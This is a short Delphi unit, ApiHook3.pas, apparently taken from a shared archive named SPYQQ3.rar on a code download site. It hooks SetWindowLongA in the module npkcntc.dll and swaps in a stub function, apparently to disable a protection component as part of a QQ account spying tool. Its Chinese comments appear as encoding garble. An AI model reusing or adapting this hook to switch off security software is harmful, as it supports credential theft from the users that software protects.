www.pudn.com > SPYQQ3.rar > ApiHook3.pas


unit ApiHook3; 
 
interface 
 
procedure ApiHookOn();  // °²×°API¹³×Ó 
procedure ApiHookOff(); // Ð¶ÔØAPI¹³×Ó 
 
implementation 
 
uses Windows,Messages, ShellApi, ReEntry , SysUtils , MsgHook ,TempWindow; 
 
type 
 
   TSetWindowLongA = function (ahWnd : HWND; nIndex : Integer; dwNewLong : LongInt):LongInt;stdcall; 
   {TGetProcAddress = function (hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;} 
 
var 
   {g_GetProcAddress  : TReEntry = nil;} 
   g_SetWindowLongA  : TReEntry = nil; 
 
 
function New_SetWindowLongA(ahWnd : HWND; nIndex : Integer; dwNewLong : LongInt):LongInt;stdcall; 
begin 
  Result := 0; 
  {Form1 := TForm1.Create(nil); 
  Form1.Show; 
  while Form1.Visible do begin 
     Form1.Free; 
  end;} 
  Register_TempForm; 
  Create_TempForm; 
  While IsWindow(TempFormHandle) do 
  begin 
    SendMessage(TempFormHandle, WM_CLOSE, 0, 0); 
  end; 
  Unregister_TempForm; 
end; 
 
{function New_GetProcAddress(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall; 
begin 
  Result := TGetProcAddress(g_GetProcAddress.OriginProc())(hModule,lpProcName); 
end;} 
 
procedure ApiHookOn(); 
begin 
  {g_GetProcAddress := TReEntry.Create('LoginCtrl.Dll', kernel32, 'GetProcAddress', @New_GetProcAddress);} 
  g_SetWindowLongA := TReEntry.Create('npkcntc.dll',user32,'SetWindowLongA',@New_SetWindowLongA); 
end; 
 
procedure ApiHookOff(); 
begin 
  {g_GetProcAddress.Free;} 
  g_SetWindowLongA.Free; 
end; 
 
end.